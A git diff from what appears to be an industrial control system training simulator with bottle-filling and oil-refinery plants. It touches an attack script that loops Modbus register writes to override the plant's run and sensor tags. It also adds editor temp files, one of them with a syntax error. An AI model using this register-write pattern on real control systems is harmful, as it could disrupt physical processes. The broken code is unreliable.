diff --git a/plants/bottle-filling/attacks/stop_all.py b/plants/bottle-filling/attacks/stop_all.py
index 6719d3c..23436f3 100755
--- a/plants/bottle-filling/attacks/stop_all.py
+++ b/plants/bottle-filling/attacks/stop_all.py
@@ -16,7 +16,7 @@
try:
client.connect()
while True:
- rq = client.write_register(0x10, 1) # Run Plant, Run!
+ rq = client.write_register(0x01, 1) # Run Plant, Run!
rq = client.write_register(0x1, 0) # Level Sensor
rq = client.write_register(0x2, 1) # Limit Switch
rq = client.write_register(0x3, 0) # Motor
diff --git a/plants/bottle-filling/hmi.py b/plants/bottle-filling/hmi.py
index 59f4392..882c52d 100755
--- a/plants/bottle-filling/hmi.py
+++ b/plants/bottle-filling/hmi.py
@@ -175,4 +175,4 @@ def app_main():
if __name__ == "__main__":
GObject.threads_init()
app_main()
- Gtk.main()
+ Gtk.main()
\ No newline at end of file
diff --git a/plants/bottle-filling/world.py b/plants/bottle-filling/world.py
index 0d9f1ac..d3d33b1 100755
--- a/plants/bottle-filling/world.py
+++ b/plants/bottle-filling/world.py
@@ -351,4 +351,4 @@ def main():
startModbusServer()
if __name__ == '__main__':
- sys.exit(main())
+ sys.exit(main())
\ No newline at end of file
diff --git a/plants/bottle-filling/world.py~ b/plants/bottle-filling/world.py~
new file mode 100755
index 0000000..0d9f1ac
--- /dev/null
+++ b/plants/bottle-filling/world.py~
@@ -0,0 +1,354 @@
+#!/usr/bin/env python
+
+#########################################
+# Imports
+#########################################
+# - Logging
+import logging
+
+# - Multithreading
+from twisted.internet import reactor
+
+# - Modbus
+from pymodbus.server.async import StartTcpServer
+from pymodbus.device import ModbusDeviceIdentification
+from pymodbus.datastore import ModbusSequentialDataBlock
+from pymodbus.datastore import ModbusSlaveContext, ModbusServerContext
+from pymodbus.transaction import ModbusRtuFramer, ModbusAsciiFramer
+
+# - World Simulator
+import sys, random
+import pygame
+from pygame.locals import *
+from pygame.color import *
+import pymunk
+
+#########################################
+# Logging
+#########################################
+logging.basicConfig()
+log = logging.getLogger()
+log.setLevel(logging.INFO)
+
+#########################################
+# Util Functions
+#########################################
+def PLCSetTag(addr, value):
+ context[0x0].setValues(3, addr, [value])
+
+def PLCGetTag(addr):
+ return context[0x0].getValues(3, addr, count=1)[0]
+
+#########################################
+# World Code
+#########################################
+
+# "Constants"
+SCREEN_WIDTH = 600
+SCREEN_HEIGHT = 350
+FPS=50.0
+
+MODBUS_SERVER_PORT=5020
+
+PLC_TAG_LEVEL_SENSOR = 0x1
+PLC_TAG_LIMIT_SWITCH = 0x2
+PLC_TAG_MOTOR = 0x3
+PLC_TAG_NOZZLE = 0x4
+PLC_TAG_RUN = 0x10
+
+# Global Variables
+global bottles
+bottles = []
+
+def to_pygame(p):
+ """Small hack to convert pymunk to pygame coordinates"""
+ return int(p.x), int(-p.y+600)
+
+# Shape functions
+
+def add_ball(space):
+ mass = 0.01
+ radius = 3
+ inertia = pymunk.moment_for_circle(mass, 0, radius, (0,0))
+ body = pymunk.Body(mass, inertia)
+ body._bodycontents.v_limit = 120
+ body._bodycontents.h_limit = 1
+ x = random.randint(181,182)
+ body.position = x, 410
+ shape = pymunk.Circle(body, radius, (0,0))
+ shape.collision_type = 0x5 #liquid
+ space.add(body, shape)
+ return shape
+
+def draw_ball(screen, ball, color=THECOLORS['blue']):
+ p = int(ball.body.position.x), 600-int(ball.body.position.y)
+ pygame.draw.circle(screen, color, p, int(ball.radius), 2)
+
+def add_bottle_in_sensor(space):
+
+ body = pymunk.Body()
+ body.position = (40, 300)
+ radius = 2
+ shape = pymunk.Circle(body, radius, (0, 0))
+ shape.collision_type = 0x7 # 'bottle_in'
+ space.add(shape)
+ return shape
+
+def add_level_sensor(space):
+
+ body = pymunk.Body()
+ body.position = (155, 380)
+ radius = 3
+ shape = pymunk.Circle(body, radius, (0, 0))
+ shape.collision_type = 0x4 # level_sensor
+ space.add(shape)
+ return shape
+
+def add_limit_switch(space):
+
+ body = pymunk.Body()
+ body.position = (200, 300)
+ radius = 2
+ shape = pymunk.Circle(body, radius, (0, 0))
+ shape.collision_type = 0x1 # switch
+ space.add(shape)
+ return shape
+
+def add_nozzle(space):
+
+ body = pymunk.Body()
+ body.position = (180, 430)
+ shape = pymunk.Poly.create_box(body, (15, 20), (0, 0), 0)
+ space.add(shape)
+ return shape
+
+def add_base(space):
+
+ body = pymunk.Body()
+ body.position = (0, 300)
+ shape = pymunk.Poly.create_box(body, (SCREEN_WIDTH, 20), ((SCREEN_WIDTH/2), -10), 0)
+ shape.friction = 1.0
+ shape.collision_type = 0x6 # base
+ space.add(shape)
+ return shape
+
+def add_bottle(space):
+ mass = 10
+ inertia = 0xFFFFFFFFF
+ body = pymunk.Body(mass, inertia)
+ body.position = (130,300)
+ l1 = pymunk.Segment(body, (-150, 0), (-100, 0), 2.0)
+ l2 = pymunk.Segment(body, (-150, 0), (-150, 100), 2.0)
+ l3 = pymunk.Segment(body, (-100, 0), (-100, 100), 2.0)
+
+ # Glass friction
+ l1.friction = 0.94
+ l2.friction = 0.94
+ l3.friction = 0.94
+
+ # Set collision types for sensors
+ l1.collision_type = 0x2 # bottle_bottom
+ l2.collision_type = 0x3 # bottle_side
+ l3.collision_type = 0x3 # bottle_side
+
+ space.add(l1, l2, l3, body)
+ return l1,l2,l3
+
+def draw_polygon(screen, shape):
+
+ points = shape.get_vertices()
+ fpoints = []
+ for p in points:
+ fpoints.append(to_pygame(p))
+ pygame.draw.polygon(screen, THECOLORS['black'], fpoints)
+
+
+def draw_lines(screen, lines, color=THECOLORS['dodgerblue4']):
+ """Draw the lines"""
+ for line in lines:
+ body = line.body
+ pv1 = body.position + line.a.rotated(body.angle)
+ pv2 = body.position + line.b.rotated(body.angle)
+ p1 = to_pygame(pv1)
+ p2 = to_pygame(pv2)
+ pygame.draw.lines(screen, color, False, [p1,p2])
+
+# Collision handlers
+def no_collision(space, arbiter, *args, **kwargs):
+ return False
+
+def level_ok(space, arbiter, *args, **kwargs):
+
+ log.debug("Level reached")
+ PLCSetTag(PLC_TAG_LIMIT_SWITCH, 0) # Limit Switch Release, Fill Bottle
+ PLCSetTag(PLC_TAG_LEVEL_SENSOR, 1) # Level Sensor Hit, Bottle Filled
+ PLCSetTag(PLC_TAG_NOZZLE, 0) # Close nozzle
+ return False
+
+def bottle_in_place(space, arbiter, *args, **kwargs):
+
+ log.debug("Bottle in place")
+ PLCSetTag(PLC_TAG_LIMIT_SWITCH, 1)
+ PLCSetTag(PLC_TAG_LEVEL_SENSOR, 0)
+ PLCSetTag(PLC_TAG_NOZZLE, 1) # Open nozzle
+ return False
+
+def add_new_bottle(space, arbiter, *args, **kwargs):
+ global bottles
+ bottles.append(add_bottle(space))
+ log.debug("Adding new bottle")
+ return False
+
+def runWorld():
+ pygame.init()
+ screen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT))
+ pygame.display.set_caption("Bottle-Filling Factory - World View - VirtuaPlant")
+ clock = pygame.time.Clock()
+ running = True
+
+ space = pymunk.Space()
+ space.gravity = (0.0, -900.0)
+
+ # Limit switch with bottle bottom
+ space.add_collision_handler(0x1, 0x2, begin=bottle_in_place)
+ # Level sensor with water
+ space.add_collision_handler(0x4, 0x5, begin=level_ok)
+ # Level sensor with ground
+ space.add_collision_handler(0x4, 0x6, begin=no_collision)
+ # Limit switch with ground
+ space.add_collision_handler(0x1, 0x6, begin=no_collision)
+ # Limit switch with bottle side
+ space.add_collision_handler(0x1, 0x3, begin=no_collision)
+ # Level sensor with bottle side
+ space.add_collision_handler(0x4, 0x3, begin=no_collision)
+ # Bottle in with bottle sides and bottom
+ space.add_collision_handler(0x7, 0x2, begin=no_collision, separate=add_new_bottle)
+ space.add_collision_handler(0x7, 0x3, begin=no_collision)
+
+ base = add_base(space)
+ nozzle = add_nozzle(space)
+ limit_switch = add_limit_switch(space)
+ level_sensor = add_level_sensor(space)
+ bottle_in = add_bottle_in_sensor(space)
+
+ global bottles
+ bottles.append(add_bottle(space))
+
+ balls = []
+
+ ticks_to_next_ball = 1
+
+ fontBig = pygame.font.SysFont(None, 40)
+ fontMedium = pygame.font.SysFont(None, 26)
+ fontSmall = pygame.font.SysFont(None, 18)
+
+ while running:
+ clock.tick(FPS)
+
+ for event in pygame.event.get():
+ if event.type == QUIT:
+ running = False
+ elif event.type == KEYDOWN and event.key == K_ESCAPE:
+ running = False
+
+ screen.fill(THECOLORS["white"])
+
+ if PLCGetTag(PLC_TAG_RUN):
+
+ # Motor Logic
+ if (PLCGetTag(PLC_TAG_LIMIT_SWITCH) == 1):
+ PLCSetTag(PLC_TAG_MOTOR, 0)
+
+ if (PLCGetTag(PLC_TAG_LEVEL_SENSOR) == 1):
+ PLCSetTag(PLC_TAG_MOTOR, 1)
+
+ ticks_to_next_ball -= 1
+
+ if not PLCGetTag(PLC_TAG_LIMIT_SWITCH):
+ PLCSetTag(PLC_TAG_MOTOR, 1)
+
+ if ticks_to_next_ball <= 0 and PLCGetTag(PLC_TAG_NOZZLE):
+ ticks_to_next_ball = 1
+ ball_shape = add_ball(space)
+ balls.append(ball_shape)
+
+ # Move the bottles
+ if PLCGetTag(PLC_TAG_MOTOR) == 1:
+ for bottle in bottles:
+ bottle[0].body.position.x += 0.25
+ else:
+ PLCSetTag(PLC_TAG_MOTOR, 0)
+
+ # Draw water balls
+ # Remove off-screen balls
+ balls_to_remove = []
+ for ball in balls:
+ if ball.body.position.y < 150 or ball.body.position.x > SCREEN_WIDTH+150:
+ balls_to_remove.append(ball)
+
+ draw_ball(screen, ball)
+
+ for ball in balls_to_remove:
+ space.remove(ball, ball.body)
+ balls.remove(ball)
+
+ # Draw bottles
+ for bottle in bottles:
+ if bottle[0].body.position.x > SCREEN_WIDTH+150 or bottle[0].body.position.y < 150:
+ space.remove(bottle, bottle[0].body)
+ bottles.remove(bottle)
+ continue
+ draw_lines(screen, bottle)
+
+ # Draw the base and nozzle
+ draw_polygon(screen, base)
+ draw_polygon(screen, nozzle)
+ # Draw the limit switch
+ draw_ball(screen, limit_switch, THECOLORS['green'])
+ # Draw the level sensor
+ draw_ball(screen, level_sensor, THECOLORS['red'])
+
+ title = fontMedium.render(str("Bottle-filling factory"), 1, THECOLORS['deepskyblue'])
+ name = fontBig.render(str("VirtuaPlant"), 1, THECOLORS['gray20'])
+ instructions = fontSmall.render(str("(press ESC to quit)"), 1, THECOLORS['gray'])
+ screen.blit(title, (10, 40))
+ screen.blit(name, (10, 10))
+ screen.blit(instructions, (SCREEN_WIDTH-115, 10))
+
+ space.step(1/FPS)
+ pygame.display.flip()
+
+ # Stop reactor if running
+ if reactor.running:
+ reactor.callFromThread(reactor.stop)
+
+#########################################
+# Modbus Server Code
+#########################################
+
+store = ModbusSlaveContext(
+ di = ModbusSequentialDataBlock(0, [0]*100),
+ co = ModbusSequentialDataBlock(0, [0]*100),
+ hr = ModbusSequentialDataBlock(0, [0]*100),
+ ir = ModbusSequentialDataBlock(0, [0]*100))
+
+context = ModbusServerContext(slaves=store, single=True)
+
+identity = ModbusDeviceIdentification()
+identity.VendorName = 'MockPLCs'
+identity.ProductCode = 'MP'
+identity.VendorUrl = 'http://github.com/bashwork/pymodbus/'
+identity.ProductName = 'MockPLC 3000'
+identity.ModelName = 'MockPLC Ultimate'
+identity.MajorMinorRevision = '1.0'
+
+def startModbusServer():
+
+ StartTcpServer(context, identity=identity, address=("localhost", MODBUS_SERVER_PORT))
+
+def main():
+ reactor.callInThread(runWorld)
+ startModbusServer()
+
+if __name__ == '__main__':
+ sys.exit(main())
diff --git a/plants/oil-refinery/.~c9_invoke_8OzcXx.py b/plants/oil-refinery/.~c9_invoke_8OzcXx.py
new file mode 100644
index 0000000..309231a
--- /dev/null
+++ b/plants/oil-refinery/.~c9_invoke_8OzcXx.py
@@ -0,0 +1,468 @@
+#!/usr/bin/env python
+import logging
+
+# - Multithreading
+from twisted.internet import reactor
+
+# - Modbus
+from pymodbus.server.async import StartTcpServer
+from pymodbus.device import ModbusDeviceIdentification
+from pymodbus.datastore import ModbusSequentialDataBlock
+from pymodbus.datastore import ModbusSlaveContext, ModbusServerContext
+from pymodbus.transaction import ModbusRtuFramer, ModbusAsciiFramer
+
+# - World Simulator
+import sys, random
+import pygame
+from pygame.locals import *
+from pygame.color import *
+import pymunk
+
+import socket
+
+import argparse
+import os
+import sys
+import time
+
+# Override Argument parser to throw error and generate help message
+# if undefined args are passed
+class MyParser(argparse.ArgumentParser):
+ def error(self, message):
+ sys.stderr.write('error: %s\n' % message)
+ self.print_help()
+ sys.exit(2)
+
+# Create argparser object to add command line args and help option
+parser = MyParser(
+ description = 'This Python script starts the SCADA/ICS World Server',
+ epilog = '',
+ add_help = True)
+
+# Add a "-i" argument to receive a filename
+parser.add_argument("-t", action = "store", dest="server_addr",
+ help = "Modbus server IP address to listen on")
+
+# Print help if no args are supplied
+if len(sys.argv)==1:
+ parser.print_help()
+ sys.exit(1)
+
+# Split and process arguments into "args"
+args = parser.parse_args()
+
+logging.basicConfig()
+log = logging.getLogger()
+log.setLevel(logging.INFO)
+
+# Display settings
+SCREEN_WIDTH = 580
+SCREEN_HEIGHT = 460
+FPS=50.0
+
+# Port the world will listen on
+MODBUS_SERVER_PORT=5020
+
+# Amount of oil spilled/processed
+oil_spilled_amount = 0
+oil_processed_amount = 0
+
+# PLC Register values for various control functions
+PLC_FEED_PUMP = 0x01
+PLC_TANK_LEVEL = 0x02
+PLC_OUTLET_VALVE = 0x03
+PLC_SEP_VESSEL = 0x04
+PLC_SEP_FEED = 0x05
+PLC_OIL_SPILL = 0x06
+PLC_OIL_PROCESSED = 0x07
+
+# Collision types
+tank_level_collision = 0x4
+ball_collision = 0x5
+outlet_valve_collision = 0x6
+sep_vessel_collision = 0x7
+separator_collision = 0x8
+oil_spill_collision = 0x9
+
+
+def to_pygame(p):
+ """Small hack to convert pymunk to pygame coordinates"""
+ return int(p.x), int(-p.y+600)
+
+# Add "oil" to the world space
+def add_ball(space):
+ mass = 0.01
+ radius = 3
+ inertia = pymunk.moment_for_circle(mass, 0, radius, (0,0))
+ body = pymunk.Body(mass, inertia)
+ body._bodycontents.v_limit = 120
+ body._bodycontents.h_limit = 1
+ x = random.randint(69, 70)
+ body.position = x, 565
+ shape = pymunk.Circle(body, radius, (0,0))
+ shape.collision_type = ball_collision #liquid
+ space.add(body, shape)
+ return shape
+
+# Add a ball to the space
+def draw_ball(screen, ball, color=THECOLORS['brown']):
+ p = int(ball.body.position.x), 600-int(ball.body.position.y)
+ pygame.draw.circle(screen, color, p, int(ball.radius), 2)
+
+# Add the separator vessel feed
+def separator_vessel_feed(space):
+ body = pymunk.Body()
+ body.position = (420, 257)
+ radius = 4
+ shape = pymunk.Circle(body, radius, (0, 0))
+ shape.collision_type = separator_collision # Collision value for separator
+ space.add(shape)
+ return shape
+
+# Add the separator vessel release
+def separator_vessel_release(space):
+ body = pymunk.Body()
+ body.position = (387, 225)
+ radius = 4
+ shape = pymunk.Circle(body, radius, (0, 0))
+ shape.collision_type = sep_vessel_collision
+ space.add(shape)
+ return shape
+
+# Add the tank level sensor
+def tank_level_sensor(space):
+ body = pymunk.Body()
+ body.position = (115, 535)
+ radius = 3
+ shape = pymunk.Circle(body, radius, (0, 0))
+ shape.collision_type = tank_level_collision # tank_level
+ space.add(shape)
+ return shape
+
+def outlet_valve_sensor(space):
+ body = pymunk.Body()
+ body.position = (70, 410)
+ # Check these coords and adjust
+ a = (-20, 10)
+ b = (20, 10)
+ radius = 4
+ shape = pymunk.Segment(body, a, b, radius)
+ shape.collision_type = outlet_valve_collision
+ space.add(shape)
+ return shape
+
+def oil_spill_sensor(space):
+ body = pymunk.Body()
+ body.position = (0, 0)
+ radius = 7
+ a = (0, 75)
+ b = (SCREEN_WIDTH, 75)
+ shape = pymunk.Segment(body, a, b, radius)
+ shape.collision_type = oil_spill_collision # oil spill sensor
+ space.add(shape)
+ return shape
+
+# Add the feed pump to the space
+def add_pump(space):
+ body = pymunk.Body()
+ body.position = (70, 585)
+ shape = pymunk.Poly.create_box(body, (15, 20), (0, 0), 0)
+ space.add(shape)
+ return shape
+
+# Draw the various "pipes" that the oil flows through
+# TODO: Get rid of magic numbers and add constants + offsets
+def add_oil_unit(space):
+ body = pymunk.Body()
+ body.position = (300,300)
+
+ #oil storage unit
+ l1 = pymunk.Segment(body, (-278, 270), (-278, 145), 5) #left side line
+ l2 = pymunk.Segment(body, (-278, 145), (-246, 107), 5)
+ l3 = pymunk.Segment(body, (-180, 270), (-180, 145), 5) #right side line
+ l4 = pymunk.Segment(body, (-180, 145), (-215, 107), 5)
+
+ #pipe to separator vessel
+ l5 = pymunk.Segment(body, (-246, 107), (-246, 53), 5) #left side vertical line
+ l6 = pymunk.Segment(body, (-246, 53), (-19, 53), 5) #bottom horizontal line
+ l7 = pymunk.Segment(body, (-19, 53), (-19, 33), 5)
+ l8 = pymunk.Segment(body, (-215, 107), (-215, 80), 5) #right side vertical line
+ l9 = pymunk.Segment(body, (-215, 80), (7, 80), 5) #top horizontal line
+ l10 = pymunk.Segment(body, (7, 80), (7, 33), 5)
+
+ #separator vessel
+ l11 = pymunk.Segment(body, (-19, 31), (-95, 31), 5) #top left horizontal line
+ l12 = pymunk.Segment(body, (-95, 31), (-95, -23), 5) #left side vertical line
+ l13 = pymunk.Segment(body, (-95, -23), (-83, -23), 5)
+ l14 = pymunk.Segment(body, (-83, -23), (-80, -80), 5) #left waste exit line
+ l15 = pymunk.Segment(body, (-68, -80), (-65, -23), 5) #right waste exit line
+ l16 = pymunk.Segment(body, (-65, -23), (-45, -23), 5)
+ l17 = pymunk.Segment(body, (-45, -23), (-45, -67), 5) #elevation vertical line
+ l18 = pymunk.Segment(body, (-45, -67), (13, -67), 5) #left bottom line
+ l19 = pymunk.Segment(body, (13, -67), (13, -82), 5) #left side separator exit line
+ l20 = pymunk.Segment(body, (43, -82), (43, -67), 5) #right side separator exit line
+ l21 = pymunk.Segment(body, (43, -67), (65, -62), 5) #rigt side diagonal line
+ l22 = pymunk.Segment(body, (65, -62), (77, 31), 5) #right vertical line
+ l23 = pymunk.Segment(body, (77, 31), (7, 31), 5) #top right horizontal line
+ l24 = pymunk.Segment(body, (-3, -67), (-3, 10), 5) #center separator line
+
+ #separator exit pipe
+ l25 = pymunk.Segment(body, (43, -85), (43, -113), 5) #right side vertical line
+ l26 = pymunk.Segment(body, (43, -113), (580, -113), 5) #top horizontal line
+ l27 = pymunk.Segment(body, (13, -85), (13, -140), 5) #left vertical line
+ l28 = pymunk.Segment(body, (13, -140), (580, -140), 5) #bottom horizontal line
+
+ #waste water pipe
+ l29 = pymunk.Segment(body, (-87, -85), (-87, -112), 5) #left side waste line
+ l30 = pymunk.Segment(body, (-60, -85), (-60, -140), 5) #right side waste line
+ l31 = pymunk.Segment(body, (-87, -112), (-163, -112), 5) #top horizontal line
+ l32 = pymunk.Segment(body, (-60, -140), (-134, -140), 5) #bottom horizontal line
+ l33 = pymunk.Segment(body, (-163, -112), (-163, -185), 5) #left side vertical line
+ l34 = pymunk.Segment(body, (-134, -140), (-134, -185), 5) #right side vertical line
+
+ space.add(l1, l2, l3, l4, l5, l6, l7, l8, l9, l10, l11, l12, l13, l14, l15,
+ l16, l17, l18, l19, l20, l21, l22, l23, l24, l25,
+ l26, l27, l28, l29, l30, l31, l32, l33, l34) # 3
+
+ return (l1,l2,l3,l4,l5,l6,l7,l8,l9,l10,l11,l12,l13,l14,l15,l16,
+ l17,l18,l19,l20,l21,l22,l23,l24,l25,l26,l27,l28,l29,l30,
+ l31,l32,l33,l34)
+
+def draw_polygon(bg, shape):
+ points = shape.get_vertices()
+ fpoints = []
+ for p in points:
+ fpoints.append(to_pygame(p))
+ pygame.draw.polygon(bg, THECOLORS['black'], fpoints)
+
+# Draw a single line to the screen
+def draw_line(screen, line, color = None):
+ body = line.body
+ pv1 = body.position + line.a.rotated(body.angle) # 1
+ pv2 = body.position + line.b.rotated(body.angle)
+ p1 = to_pygame(pv1) # 2
+ p2 = to_pygame(pv2)
+ if color is None:
+ pygame.draw.lines(screen, THECOLORS["black"], False, [p1,p2])
+ else:
+ pygame.draw.lines(screen, color, False, [p1,p2])
+
+# Draw lines from an iterable list
+def draw_lines(screen, lines):
+ for line in lines:
+ body = line.body
+ pv1 = body.position + line.a.rotated(body.angle) # 1
+ pv2 = body.position + line.b.rotated(body.angle)
+ p1 = to_pygame(pv1) # 2
+ p2 = to_pygame(pv2)
+ pygame.draw.lines(screen, THECOLORS["gray"], False, [p1,p2])
+
+# Default collision function for objects
+# Returning true makes the two objects collide normally just like "walls/pipes"
+def no_collision(space, arbiter, *args, **kwargs):
+ return True
+
+# Called when level sensor in tank is hit
+def level_reached(space, arbiter, *args, **kwargs):
+ log.debug("Level reached")
+ PLCSetTag(PLC_TANK_LEVEL, 1) # Level Sensor Hit, Tank full
+ PLCSetTag(PLC_FEED_PUMP, 0) # Turn off the pump
+# PLCSetTag(PLC_OUTLET_VALVE, 1) # Set the outlet valve to 1
+ return False
+
+def oil_spilled(space, arbiter, *args, **kwargs):
+ global oil_spilled_amount
+ global oil_processed_amount
+ log.debug("Oil Spilled")
+ oil_spilled_amount = oil_spilled_amount + 1
+ PLCSetTag(PLC_OIL_SPILL, oil_spilled_amount) # We lost a unit of oil
+ PLCSetTag(PLC_FEED_PUMP, 0) # Attempt to shut off the pump
+ return False
+
+# This fires when the separator level is hit
+def sep_on(space, arbiter, *args, **kwargs):
+ log.debug("Begin separation")
+ PLCSetTag(PLC_SEP_VESSEL, 1) # Sep vessel hit, begin processing
+ return False
+
+# This fires when the separator is not processing
+def sep_off(space, arbiter, *args, **kwargs):
+ log.debug("Begin separation")
+ PLCSetTag(PLC_SEP_VESSEL, 0) # Sep vessel hit, begin processing
+ return False
+
+def sep_feed_on(space, arbiter, *args, **kwargs):
+ log.debug("Outlet Feed")
+ PLCSetTag(PLC_SEP_FEED, 1)
+ return False
+
+def outlet_valve_open(space, arbiter, *args, **kwargs):
+ log.debug("Outlet valve open")
+ PLCSetTag(PLC_OUTLET_VALVE, 0)
+ return False
+
+def outlet_valve_closed(space, arbiter, *args, **kwargs):
+ log.debug("Outlet valve close")
+ PLCSetTag(PLC_OUTLET_VALVE, 1)
+ return False
+
+def run_world():
+ pygame.init()
+ screen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT))
+ pygame.display.set_caption("Crude Oil Pretreatment Unit")
+ clock = pygame.time.Clock()
+ running = True
+
+
+ # Create game space (world) and set gravity to normal
+ space = pymunk.Space() #2
+ space.gravity = (0.0, -900.0)
+
+ # When oil collides with tank_level, call level_reached
+ space.add_collision_handler(tank_level_collision, ball_collision, begin=level_reached)
+ space.add_collision_handler(oil_spill_collision, ball_collision, begin=oil_spilled)
+
+
+ pump = add_pump(space)
+ lines = add_oil_unit(space)
+ tank_level = tank_level_sensor(space)
+ separator_vessel = separator_vessel_release(space)
+ separator_feed = separator_vessel_feed(space)
+ separator_feed = separator_vessel_feed(space)
+ oil_spill = oil_spill_sensor(space)
+ outlet = outlet_valve_sensor(space)
+
+
+ balls = []
+
+ ticks_to_next_ball = 1
+
+ # Set font settings
+ fontBig = pygame.font.SysFont(None, 40)
+ fontMedium = pygame.font.SysFont(None, 26)
+ fontSmall = pygame.font.SysFont(None, 18)
+
+ while running:
+ # Advance the game clock
+ clock.tick(FPS)
+
+ for event in pygame.event.get():
+ if event.type == QUIT:
+ running = False
+ elif event.type == KEYDOWN and event.key == K_ESCAPE:
+ running = False
+
+ bg = pygame.image.load("oil_unit.png")
+
+ screen.fill(THECOLORS["grey"])
+
+ # If the feed pump is on
+ if PLCGetTag(PLC_FEED_PUMP) == 1:
+ # Draw the valve if the pump is on
+ # If the oil reaches the level sensor at the top of the tank
+ if (PLCGetTag(PLC_TANK_LEVEL) == 1):
+ PLCSetTag(PLC_FEED_PUMP, 0)
+ space.add_collision_handler(sep_vessel_collision, ball_collision, begin=sep_on)
+ space.add_collision_handler(separator_collision, ball_collision, begin=sep_feed_on)
+
+ else:
+ space.add_collision_handler(outlet_valve_collision, ball_collision, begin=no_collision)
+
+ if PLCGetTag(PLC_OUTLET_VALVE) == 1: # Valve is closed
+ space.add_collision_handler(outlet_valve_collision, ball_collision, begin=outlet_valve_closed)
+ elif PLCGetTag(PLC_OUTLET_VALVE) == 0: # Valve is open
+ space.add_collision_handler(outlet_valve_collision, ball_collision, begin=no_collision)
+
+ # If the separator process is turned on
+ if PLCGetTag(PLC_SEP_VESSEL) == 1:
+ space.add_collision_handler(sep_vessel_collision, ball_collision, begin=sep_on)
+ space.add_collision_handler(separator_collision, ball_collision, begin=sep_feed_on)
+ else:
+ elif PLG:
+ space.add_collision_handler(separator_collision, ball_collision, begin=no_collision)
+
+
+ ticks_to_next_ball -= 1
+
+ if ticks_to_next_ball <= 0 and PLCGetTag(PLC_FEED_PUMP) == 1:
+ ticks_to_next_ball = 1
+ ball_shape = add_ball(space)
+ balls.append(ball_shape)
+
+ balls_to_remove = []
+ for ball in balls:
+ if ball.body.position.y < 0 or ball.body.position.x > SCREEN_WIDTH+150:
+ balls_to_remove.append(ball)
+
+ draw_ball(bg, ball)
+
+ for ball in balls_to_remove:
+ space.remove(ball, ball.body)
+ balls.remove(ball)
+
+ draw_polygon(bg, pump)
+ draw_lines(bg, lines)
+ draw_ball(bg, tank_level, THECOLORS['black'])
+ draw_ball(bg, separator_vessel, THECOLORS['black'])
+ draw_ball(bg, separator_feed, THECOLORS['black'])
+ draw_line(bg, outlet)
+
+ #draw_ball(screen, separator_feed, THECOLORS['red'])
+ title = fontMedium.render(str("Crude Oil Pretreatment Unit"), 1, THECOLORS['blue'])
+ name = fontBig.render(str("VirtuaPlant"), 1, THECOLORS['gray20'])
+ instructions = fontSmall.render(str("(press ESC to quit)"), 1, THECOLORS['gray'])
+ feed_pump_label = fontMedium.render(str("Feed Pump"), 1, THECOLORS['blue'])
+ oil_storage_label = fontMedium.render(str("Oil Storage Unit"), 1, THECOLORS['blue'])
+ separator_label = fontMedium.render(str("Separator Vessel"), 1, THECOLORS['blue'])
+ waste_water_label = fontMedium.render(str("Waste Water Treatment Unit"), 1, THECOLORS['blue'])
+ tank_sensor = fontSmall.render(str("Tank Level Sensor"), 1, THECOLORS['blue'])
+ separator_release = fontSmall.render(str("Separator Vessel Release Sensor"), 1, THECOLORS['blue'])
+ waste_sensor = fontSmall.render(str("Waste Water Sensor"), 1, THECOLORS['blue'])
+ outlet_sensor = fontSmall.render(str("Outlet Valve Sensor"), 1, THECOLORS['blue'])
+
+ bg.blit(title, (300, 40))
+ bg.blit(name, (347, 10))
+ bg.blit(instructions, (SCREEN_WIDTH-115, 0))
+ bg.blit(feed_pump_label, (80, 0))
+ bg.blit(oil_storage_label, (125, 100))
+ bg.blit(separator_label, (385,275))
+ screen.blit(waste_water_label, (265, 490))
+ bg.blit(tank_sensor, (125, 50))
+ bg.blit(outlet_sensor, (90, 195))
+ bg.blit(separator_release, (350, 375))
+ bg.blit(waste_sensor, (90, 375))
+ screen.blit(bg, (0, 0))
+
+ space.step(1/FPS)
+ pygame.display.flip()
+
+ if reactor.running:
+ reactor.callFromThread(reactor.stop)
+
+store = ModbusSlaveContext(
+ di = ModbusSequentialDataBlock(0, [0]*100),
+ co = ModbusSequentialDataBlock(0, [0]*100),
+ hr = ModbusSequentialDataBlock(0, [0]*100),
+ ir = ModbusSequentialDataBlock(0, [0]*100))
+
+context = ModbusServerContext(slaves=store, single=True)
+
+# Modbus PLC server information
+identity = ModbusDeviceIdentification()
+identity.VendorName = 'Simmons Oil Refining Platform'
+identity.ProductCode = 'SORP'
+identity.VendorUrl = 'http://simmons.com/markets/oil-gas/pages/refining-industry.html'
+identity.ProductName = 'SORP 3850'
+identity.ModelName = 'Simmons ORP 3850'
+identity.MajorMinorRevision = '2.09.01'
+
+def startModbusServer():
+ # Run a modbus server on specified address and modbus port (5020)
+ StartTcpServer(context, identity=identity, address=(args.server_addr, MODBUS_SERVER_PORT))
+
+def main():
+ reactor.callInThread(run_world)
+ startModbusServer()
+
+if __name__ == '__main__':
+ sys.exit(main())
diff --git a/plants/oil-refinery/.~c9_invoke_A9hZBn.py b/plants/oil-refinery/.~c9_invoke_A9hZBn.py
new file mode 100644
index 0000000..bb4fbac
--- /dev/null
+++ b/plants/oil-refinery/.~c9_invoke_A9hZBn.py
@@ -0,0 +1,468 @@
+#!/usr/bin/env python
+import logging
+
+# - Multithreading
+from twisted.internet import reactor
+
+# - Modbus
+from pymodbus.server.async import StartTcpServer
+from pymodbus.device import ModbusDeviceIdentification
+from pymodbus.datastore import ModbusSequentialDataBlock
+from pymodbus.datastore import ModbusSlaveContext, ModbusServerContext
+from pymodbus.transaction import ModbusRtuFramer, ModbusAsciiFramer
+
+# - World Simulator
+import sys, random
+import pygame
+from pygame.locals import *
+from pygame.color import *
+import pymunk
+
+import socket
+
+import argparse
+import os
+import sys
+import time
+
+# Override Argument parser to throw error and generate help message
+# if undefined args are passed
+class MyParser(argparse.ArgumentParser):
+ def error(self, message):
+ sys.stderr.write('error: %s\n' % message)
+ self.print_help()
+ sys.exit(2)
+
+# Create argparser object to add command line args and help option
+parser = MyParser(
+ description = 'This Python script starts the SCADA/ICS World Server',
+ epilog = '',
+ add_help = True)
+
+# Add a "-i" argument to receive a filename
+parser.add_argument("-t", action = "store", dest="server_addr",
+ help = "Modbus server IP address to listen on")
+
+# Print help if no args are supplied
+if len(sys.argv)==1:
+ parser.print_help()
+ sys.exit(1)
+
+# Split and process arguments into "args"
+args = parser.parse_args()
+
+logging.basicConfig()
+log = logging.getLogger()
+log.setLevel(logging.INFO)
+
+# Display settings
+SCREEN_WIDTH = 580
+SCREEN_HEIGHT = 460
